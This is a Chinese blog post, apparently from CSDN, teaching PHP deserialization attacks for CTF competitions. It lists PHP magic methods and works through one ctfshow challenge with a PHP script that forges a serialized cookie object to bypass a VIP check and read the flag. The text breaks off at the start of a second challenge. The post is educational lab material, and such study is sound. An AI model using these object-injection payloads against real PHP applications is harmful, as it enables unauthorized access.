反序列化的那些事儿反序列化的那些事儿

本文详细介绍了反序列化漏洞的各种利用方式,包括PHP的魔法函数、原生类利用、字符串逃逸、session反序列化等场景。通过实例解析了如何构造payload,实现flag获取或 SSRF 攻击。文章最后鼓励读者深入学习并尝试构造POP链。
摘要由CSDN通过智能技术生成

前言

各种CTF比赛随处可见反序列化的影子,让我们来了解一下!

阅读本文,需要了解PHP中类的基础知识

正文

了解反序列化,必先了解其魔法函数

1. __sleep() //在对象被序列化之前运行2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)3. __construct() //当对象被创建时,会触发进行初始化4. __destruct() //对象被销毁时触发5. __toString()://当一个对象被当作字符串使用时触发6. __call() //在对象上下文中调用不可访问的方法时触发7. __callStatic() //在静态上下文中调用不可访问的方法时触发8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据9. __set() //用于将数据写入不可访问的属性10. __isset() //在不可访问的属性上调用isset()或empty()触发11. __unset() //在不可访问的属性上使用unset()时触发12. __toString() //把类当作字符串使用时触发13. __invoke() //当脚本尝试将对象调用为函数时触发

然后了解其属性

序列化对象:private变量会被序列化为:\x00类名\x00变量名protected变量会被序列化为: \x00*\x00变量名public变量会被序列化为:变量名

让我们跟随CTF题目,来感受反序列化独有的的"魅力"

1.

error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{
  public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){
  return $this->isVip;}public function login($u,$p){
  return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){
  if($this->isVip){
  global $flag;echo "your flag is ".$flag;}else{
  echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);  if($user->login($username,$password)){
  if($user->checkVip()){
  $user->vipOneKeyGetFlag();}}else{
  echo "no vip,no flag";}}

通读代码

$username&&$password存在进入反序列化$_COOKIE['user']

(cookie为可控字段)

随后便调用了login方法

public function login($u,$p){
  return $this->username===$u&&$this->password===$p;

只有类中$username和$password等于我们传入的值 ,即可返回true

进入第二个if 调用了checkVip方法

public function checkVip(){
  return $this->isVip;}

这里定义类中isVip属性为true即可

便调用了其vipOneKeyGetFlag方法 echo除了flag

思路来了,构造payload

<?class ctfShowUser{
  public $isVip=true;public $username='a';public $password='a';}$o=new ctfShowUser();echo serialize($o);?>

?username=a&passowrd=a

cookie便传值我们构造出的payload

2.

class ctfShowUser{
  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值